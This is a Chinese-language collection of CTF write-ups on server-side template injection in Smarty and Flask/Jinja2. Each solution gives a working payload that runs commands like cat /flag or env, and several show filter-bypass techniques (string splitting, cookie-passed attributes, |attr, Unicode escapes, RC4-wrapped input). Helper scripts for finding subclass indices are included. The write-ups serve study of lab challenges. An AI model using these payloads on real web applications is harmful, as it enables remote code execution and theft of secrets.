文章目录
- 前言
- [CISCN 2019华东南]Web11
- [HDCTF 2023]SearchMaster
- [HNCTF 2022 WEEK2]ez_SSTI
- [HNCTF 2022 WEEK3]ssssti
- [NCTF 2018]flask真香
- 方法一
- 方法二
- [安洵杯 2020]Normal SSTI
- [CISCN 2019华东南]Double Secret
- [HZNUCTF 2023 preliminary]flask
- 方法一
- 方法二
前言
学习ctf也有两个学期了,趁现在有时间,速速学习SSTI模板注入
[CISCN 2019华东南]Web11
打开题目
发现为SSTI的Smarty
提示为XFF
先判断,发现成功
添加XFF,查看一下根目录
X-Forwarded-For:{if system('ls')}{/if}
cat一下,得到flag
[HDCTF 2023]SearchMaster
打开题目,发现提示我们POST传入参数data
由于还不知道是什么模板,我们先试试扫下目录
访问下./composer.json
,发现是smarty模板注入
payload
{if system('cat /f*')}{/if}
直接得到flag
[HNCTF 2022 WEEK2]ez_SSTI
打开题目,盲猜参数为name
直接上payload
?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
得到flag
[HNCTF 2022 WEEK3]ssssti
提示ssti模板注入,参数为name
fuzz测试一下,黑名单如下(大概
1 '
2 "
3 _
4 args -- 无法使用 request.args
5 os -- 无法导入os
不允许post -- 无法使用 request.value
payload
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
这里我们使用request.cookies构造
payload
?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}
cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag
得到flag
[NCTF 2018]flask真香
打开题目,直接试试万能{{7*7}}
发现存在SSTI注入
我们试试./{{''.__class__.}}
发现被过滤了
这里用字符串拼接绕过
{{''['__cla''ss__']}}
发现成功
我们先得到子类
{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()}}
方法一
我们寻找<class 'os._wrap_close'>
的位置
祖传找下标的脚本
import json
classes="""
[<class '_bz2.BZ2Decompressor'>, <class 'coroutine_wrapper'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'posix.DirEntry'>, <class 'urllib.request.Request'>, <class '_hashlib.HASH'>, <class '_frozen_importlib._installed_safely'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'urllib.request.OpenerDirector'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.ext.Extension'>, <class '_ssl._SSLSocket'>, <class 'codecs.IncrementalDecoder'>, <class 'jinja2.environment.TemplateExpression'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'argparse.HelpFormatter._Section'>, <class 'click.core.BaseCommand'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'select.poll'>, <class 'difflib.HtmlDiff'>, <class 'click.core.Context'>, <class 'jinja2.loaders.BaseLoader'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 're.Scanner'>, <class 'collections._Link'>, <class 'click.formatting.HelpFormatter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'generator'>, <class '_frozen_importlib_external.PathFinder'>, <class 'subprocess.CompletedProcess'>, <class 'http.cookiejar.CookiePolicy'>, <class 'itertools.groupby'>, <class 'operator.methodcaller'>, <class 'inspect._void'>, <class 'flask.sessions.SessionInterface'>, <class 'jinja2.utils.MissingType'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'difflib.Differ'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'itertools.product'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'jinja2.ext._CommentFinder'>, <class 'urllib.request.ftpwrapper'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'argparse._ActionsContainer'>, <class 'os._DummyDirEntry'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'weakref'>, <class 'email.header._ValueFormatter'>, <class 'property'>, <class 'threading.Semaphore'>, <class 'textwrap.TextWrapper'>, <class 'itertools.count'>, <class 'list_reverseiterator'>, <class 'tuple_iterator'>, <class 'dict_values'>, <class 'jinja2.utils.Cycler'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'sre_parse.Tokenizer'>, <class 'instancemethod'>, <class '_json.Encoder'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'click.parser.Argument'>, <class 'click._compat._FixupStream'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'ellipsis'>, <class 'method-wrapper'>, <class '_ssl._SSLContext'>, <class 'socketserver.BaseServer'>, <class 'collections.deque'>, <class 'memoryview'>, <class 'urllib.request.URLopener'>, <class 'Struct'>, <class 'functools.partial'>, <class 'jinja2.bccache.Bucket'>, <class 'flask.json.tag.JSONTag'>, <class 'fieldnameiterator'>, <class '_pickle.Pickler'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'click._compat._AtomicFile'>, <class '_ast.AST'>, <class 'datetime.time'>, <class 'argparse.HelpFormatter'>, <class 'werkzeug.datastructures.Range'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'dis.Bytecode'>, <class 'jinja2.nodes.EvalContext'>, <class 'ipaddress._BaseV4'>, <class 'itertools._tee_dataobject'>, <class 'range_iterator'>, <class 'http.cookiejar.Absent'>, <class 'operator.attrgetter'>, <class 'mimetypes.MimeTypes'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'collections.abc.Hashable'>, <class 'http.cookiejar.Cookie'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class 'click.parser.OptionParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'pprint._safe_key'>, <class 'dict_itemiterator'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'json.decoder.JSONDecoder'>, <class 'threading.Thread'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'ipaddress._BaseV6'>, <class '_io._IOBase'>, <class 'werkzeug.exceptions.Aborter'>, <class 'importlib.abc.Loader'>, <class '__future__._Feature'>, <class 'werkzeug.datastructures.FileStorage'>, <class '_frozen_importlib._ModuleLockManager'>, <class 'callable_iterator'>, <class 'module'>, <class 'logging.LogRecord'>, <class '_thread._local'>, <class 'ctypes.LibraryLoader'>, <class 'functools._lru_cache_wrapper'>, <class '_sre.SRE_Match'>, <class 'reversed'>, <class 'itsdangerous.signer.Signer'>, <class 'pathlib._Accessor'>, <class 'list_iterator'>, <class 'frozenset'>, <class 'itertools.combinations_with_replacement'>, <class 'tarfile._LowLevelFile'>, <class '_thread._localdummy'>, <class 'calendar._localized_day'>, <class 'bytes_iterator'>, <class 'method'>, <class 'ctypes.CDLL'>, <class '_json.Scanner'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'tarfile.TarInfo'>, <class 'argparse.FileType'>, <class 'email.header.Header'>, <class 'jinja2.environment.Environment'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class '_collections._deque_iterator'>, <class 'ast.NodeVisitor'>, <class 'managedbuffer'>, <class '_thread.RLock'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'jinja2.compiler.Frame'>, <class 'warnings.WarningMessage'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'super'>, <class '_io.IncrementalNewlineDecoder'>, <class 'staticmethod'>, <class 'inspect.Signature'>, <class 'pickle._Pickler'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'datetime.timedelta'>, <class 'json.encoder.JSONEncoder'>, <class 'subprocess.Popen'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class 'hmac.HMAC'>, <class 'itertools._grouper'>, <class 'operator.itemgetter'>, <class 'itertools.chain'>, <class 'weakref.finalize'>, <class 'zlib.Compress'>, <class 'collections.abc.Sized'>, <class 'werkzeug.serving._SSLContext'>, <class 'contextlib.ExitStack'>, <class 'dict_valueiterator'>, <class 'jinja2.runtime.LoopContext'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'frame'>, <class 'collections.abc.Iterable'>, <class 'urllib.request.BaseHandler'>, <class 'email.parser.Parser'>, <class 'threading._RLock'>, <class '_frozen_importlib_external._LoaderBasics'>, <class 'map'>, <class 'classmethod'>, <class 'jinja2.runtime.Macro'>, <class 'types._GeneratorWrapper'>, <class '_sitebuiltins._Printer'>, <class 'tempfile._RandomNameSequence'>, <class '_io._BytesIOBuffer'>, <class 'mappingproxy'>, <class 'jinja2.parser.Parser'>, <class 'enumerate'>, <class 'werkzeug.urls.Href'>, <class 'tuple'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'itertools.compress'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'pathlib._Selector'>, <class 'set'>, <class 'jinja2.runtime.BlockReference'>, <class 'urllib.parse._ResultMixinBytes'>, <class '_weakrefset._IterationGuard'>, <class '_ctypes.CField'>, <class 'flask.cli.DispatchingApp'>, <class 'email._policybase._PolicyBase'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'pickle._Unpickler'>, <class 'difflib.SequenceMatcher'>, <class 'odict_iterator'>, <class '_frozen_importlib_external.FileFinder'>, <class '_sre.SRE_Scanner'>, <class 'jinja2.environment.TemplateStream'>, <class 'logging.LoggerAdapter'>, <class 'email.message.Message'>, <class 'BaseException'>, <class 'tarfile.TarFile'>, <class 'datetime.tzinfo'>, <class 'werkzeug.datastructures.Headers'>, <class 'flask.ctx.RequestContext'>, <class 'dict_keys'>, <class '_thread.lock'>, <class 'functools.partialmethod'>, <class 'argparse._AttributeHolder'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'pkgutil.ImpImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class 'tempfile._TemporaryFileCloser'>, <class 'inspect.BoundArguments'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'flask.cli.ScriptInfo'>, <class 'werkzeug.local.LocalProxy'>, <class 'zip'>, <class 'email.feedparser.BufferedSubFile'>, <class 'tarfile._StreamProxy'>, <class '_ctypes._CData'>, <class 'pathlib._TerminatingSelector'>, <class 'sre_parse.Pattern'>, <class '_lzma.LZMACompressor'>, <class 'ssl.SSLObject'>, <class 'click.utils.KeepOpenFile'>, <class 'itertools.filterfalse'>, <class '_frozen_importlib._DummyModuleLock'>, <class 'codecs.StreamRecoder'>, <class 'flask._compat._DeprecatedBool'>, <class 'dict_keyiterator'>, <class 'jinja2.environment.Template'>, <class 'types.SimpleNamespace'>, <class 'itertools._tee'>, <class 'itertools.islice'>, <class 'contextlib._RedirectStream'>, <class 'tarfile._FileInFile'>, <class 'decimal.SignalDictMixin'>, <class 'codecs.IncrementalEncoder'>, <class '_ctypes.CThunkObject'>, <class 'string.Formatter'>, <class 'collections.abc.Callable'>, <class 'logging.BufferingFormatter'>, <class 'CArgObject'>, <class 'selectors.BaseSelector'>, <class 'types.DynamicClassAttribute'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'dict_items'>, <class 'reprlib.Repr'>, <class 'flask.ctx.AppContext'>, <class 'longrange_iterator'>, <class 'inspect._empty'>, <class 'importlib.abc.Finder'>, <class 'zipimport.zipimporter'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'range'>, <class 'contextlib.suppress'>, <class 'inspect.Parameter'>, <class 'werkzeug.useragents.UserAgent'>, <class 'logging.Formatter'>, <class 'jinja2.utils.Joiner'>, <class '_collections._deque_reverse_iterator'>, <class 'datetime.date'>, <class '_pickle.Unpickler'>, <class 'itertools.starmap'>, <class 'collections.abc.AsyncIterable'>, <class 'calendar.Calendar'>, <class 'flask.helpers._PackageBoundObject'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'tarfile.TarIter'>, <class 'traceback'>, <class 'NoneType'>, <class 'method_descriptor'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class '_weakrefset.WeakSet'>, <class 'moduledef'>, <class 'dict'>, <class 'logging.Filter'>, <class '_frozen_importlib_external.FileLoader'>, <class 'pathlib._Flavour'>, <class 'itertools.takewhile'>, <class 'flask.signals.Namespace'>, <class 'tarfile._Stream'>, <class 'string.Template'>, <class 'werkzeug.routing.Map'>, <class 'collections.abc.Container'>, <class 'decimal.ContextManager'>, <class 'builtin_function_or_method'>, <class 'logging.Filterer'>, <class 'collections.abc.Awaitable'>, <class 'getset_descriptor'>, <class 'calendar._localized_month'>, <class 'click.types.ParamType'>, <class 'jinja2.environment.TemplateModule'>, <class 'itertools.permutations'>, <class 'ipaddress._IPv4Constants'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'set_iterator'>, <class 'wrapper_descriptor'>, <class 'slice'>, <class 'jinja2.utils.LRUCache'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'click.parser.Option'>, <class 'float'>, <class '_sre.SRE_Pattern'>, <class '_frozen_importlib_external._NamespacePath'>, <class 'itsdangerous.serializer.Serializer'>, <class 'weakref.finalize._Info'>, <class 'logging.PlaceHolder'>, <class 'str'>, <class 'flask.helpers.locked_cached_property'>, <class '_ctypes.DictRemover'>, <class 'itsdangerous._json._CompactJSON'>, <class 'jinja2.runtime.Undefined'>, <class 'werkzeug.local.LocalManager'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'jinja2.nodes.Node'>, <class 'email.charset.Charset'>, <class 'coroutine'>, <class 'select.epoll'>, <class 'tempfile.TemporaryDirectory'>, <class 'http.cookiejar.CookieJar'>, <class 'stderrprinter'>, <class 'flask.signals._FakeSignal'>, <class 'posix.ScandirIterator'>, <class 'function'>, <class 'pprint.PrettyPrinter'>, <class 'traceback.FrameSummary'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'traceback.TracebackException'>, <class 'contextlib.ContextDecorator'>, <class 'inspect.BlockFinder'>, <class '_bz2.BZ2Compressor'>, <class 'gettext.NullTranslations'>, <class 'werkzeug.local.LocalStack'>, <class 'itertools.dropwhile'>, <class 'zlib.Decompress'>, <class 'click.core.Parameter'>, <class 'uuid.UUID'>, <class 'codecs.StreamReaderWriter'>, <class 'filter'>, <class 'jinja2.runtime.TemplateReference'>, <class 'decimal.Context'>, <class 'logging.PercentStyle'>, <class '_random.Random'>, <class 'pathlib.PurePath'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'numbers.Number'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'jinja2.lexer.Failure'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'str_iterator'>, <class 'email._parseaddr.AddrlistClass'>, <class 'type'>, <class 'socketserver.ThreadingMixIn'>, <class '_sitebuiltins.Quitter'>, <class 'sre_parse.SubPattern'>, <class 'weakcallableproxy'>, <class 'os._wrap_close'>, <class 'codecs.Codec'>, <class 'itertools.zip_longest'>, <class 'bytearray_iterator'>, <class 'copy._EmptyClass'>, <class 'flask.config.ConfigAttribute'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'pickle._Framer'>, <class 'click.utils.LazyFile'>, <class 'jinja2.lexer.Lexer'>, <class 'click.parser.ParsingState'>, <class '_pickle.Pdata'>, <class 'formatteriterator'>, <class 'urllib.parse._ResultMixinStr'>, <class '_lzma.LZMADecompressor'>, <class 'int'>, <class '_ssl.MemoryBIO'>, <class '_sitebuiltins._Helper'>, <class 'threading.Event'>, <class 'PyCapsule'>, <class '_frozen_importlib.ModuleSpec'>, <class 'jinja2.idtracking.Symbols'>, <class 'werkzeug.test.Client'>, <class 'ipaddress._IPv6Constants'>, <class '_pickle.PicklerMemoProxy'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'socketserver.ForkingMixIn'>, <class 'NotImplementedType'>, <enum 'Enum'>, <class 'itertools.cycle'>, <class '_frozen_importlib.FrozenImporter'>, <class 'code'>, <class 'contextlib.closing'>, <class 'member_descriptor'>, <class '_frozen_importlib._ManageReload'>, <class 'tokenize.Untokenizer'>, <class 'bytearray'>, <class 'iterator'>, <class 'decimal.Decimal'>, <class 'itertools.accumulate'>, <class 'jinja2.runtime.Context'>, <class 'unicodedata.UCD'>, <class 'EncodingMap'>, <class 'classmethod_descriptor'>, <class 'threading.Barrier'>, <class 'http.client.HTTPConnection'>, <class 'list'>, <class 'itertools.combinations'>, <class 'calendar.different_locale'>, <class '_socket.socket'>, <class '_frozen_importlib._ModuleLock'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'bytes'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.routing.MapAdapter'>, <class 'cell'>, <class 'weakproxy'>, <class 'socketserver.BaseRequestHandler'>, <class 'abc.ABC'>, <class 'ipaddress._IPAddressBase'>, <class 'threading.Condition'>, <class 'itertools.repeat'>, <class 'email.feedparser.FeedParser'>, <class 'complex'>, <class 'jinja2.utils.Namespace'>, <class 'pickle._Unframer'>, <class 'jinja2.lexer.TokenStream'>, <class 'warnings.catch_warnings'>, <class 'email.parser.BytesParser'>, <class 'werkzeug.routing.BaseConverter'>, <class 'logging.Manager'>]
"""
num=0
alllist=[]
result=""
for i in classes:
if i==">":
result+=i
alllist.append(result)
result=""
elif i=="\n" or i==",":
continue
else:
result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
if "class 'os._wrap_close" in v:
print(str(k)+"--->"+v)
得到下标位置
payload
{{''['__cla''ss__'].__bases__[0]['__subc''lasses__']()[375].__init__.__globals__['pop''en']('ls /').read()}}
得到flag
方法二
掏出祖传脚本来找到<class 'warnings.catch_warnings'>
子类的下标
来利用他的子类__builtins__
将上面的脚本搜索值修改下,得到下标为446
payload
{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()[446].__init__.__globals__['__bui''ltins__']['ev''al']("__im""port__('o''s').po""pen('cat /T*').read()")}}
[安洵杯 2020]Normal SSTI
打开题目,按照提示尝试输入?url={{7*7}}
发现被过滤了,多尝试几个
fuzz一下,黑名单大致如下
[' ','\'','*','[',']','_','.','globals','request','args','form','getitem','flag','length','list','string','config']
过滤了{{}}
所以使用{%print()%}
绕过
因为.
和[]
被过滤,所以使用flask的|attr来调用方法,''|attr(“__class__”)
等于''.__class__
如果要使用xxx.os(‘xxx’)
类似的方法,可以使用xxx|attr(“os”)(‘xxx’)
payload
{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}
由于要绕过waf,将被禁用的Unicode编码一下
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}
得到flag
[CISCN 2019华东南]Double Secret
打开题目,先扫一下目录
访问下./secrect
,提示我们参数也为secret
我们试试./secrect?secret=11111
,发现报错
在app.py这里可以看到部分暴露的源码
简单解释下,就是会对我们上传的值进行RC4加密,密钥为HereIsTreasure
网上随便找的加解密脚本
# RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文
import base64
from urllib.parse import quote
def rc4_main(key="init_key", message="init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
print("加密后的字符串是:%s" % quote(cipher))
# print("加密后的输出(经过编码):")
# print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')
rc4_main("HereIsTreasure", "{{7*7}}")
#第一个参数为密钥,第二个参数为需要加密的字符串
我们先试试上传{{7*7}}
,发现成功执行
我们修改上传命令为{{''.__class__.__mro__}}
发现下标为2,我们再继续看子类
{{''.__class__.__mro__[2].__subclasses__()}}
然后索引<type 'file'>
,去利用文件读写(仅适用于Python2)
payload
{{''.__class__.__mro__[2].__subclasses__()[40]("/flag.txt").read()}}
这里要修改下脚本,因为引号匹配出现错误
rc4_main("HereIsTreasure", "{{''.__class__.__mro__[2].__subclasses__()[40]('/flag.txt').read()}}")
得到flag
[HZNUCTF 2023 preliminary]flask
打开题目,随便上传123,发现逆序
再试试}}7*7{{
,成功执行
逆序脚本
def reverse_string(input_string):
reversed_chars = reversed(input_string)
reversed_string = ''.join(reversed_chars)
return reversed_string
input_string = input("请输入要逆序的字符串:")
reversed_string = reverse_string(input_string)
print("逆序后的字符串为:" + reversed_string)
方法一
我们查找下子类
{{''.__class__.__bases__[0].__subclasses__()}}
右键查看源代码,复制下来用脚本索引os
发现下标为132
我们调用popen方法,去命令执行
payload
{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}
然后再查看flag.sh
,结果发现没有
我们尝试查看环境变量,得到flag
{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.popen('env').read()}}
方法二
payload
{{lipsum.__globals__.os.popen('env').read()}}
逆序完也可以得到flag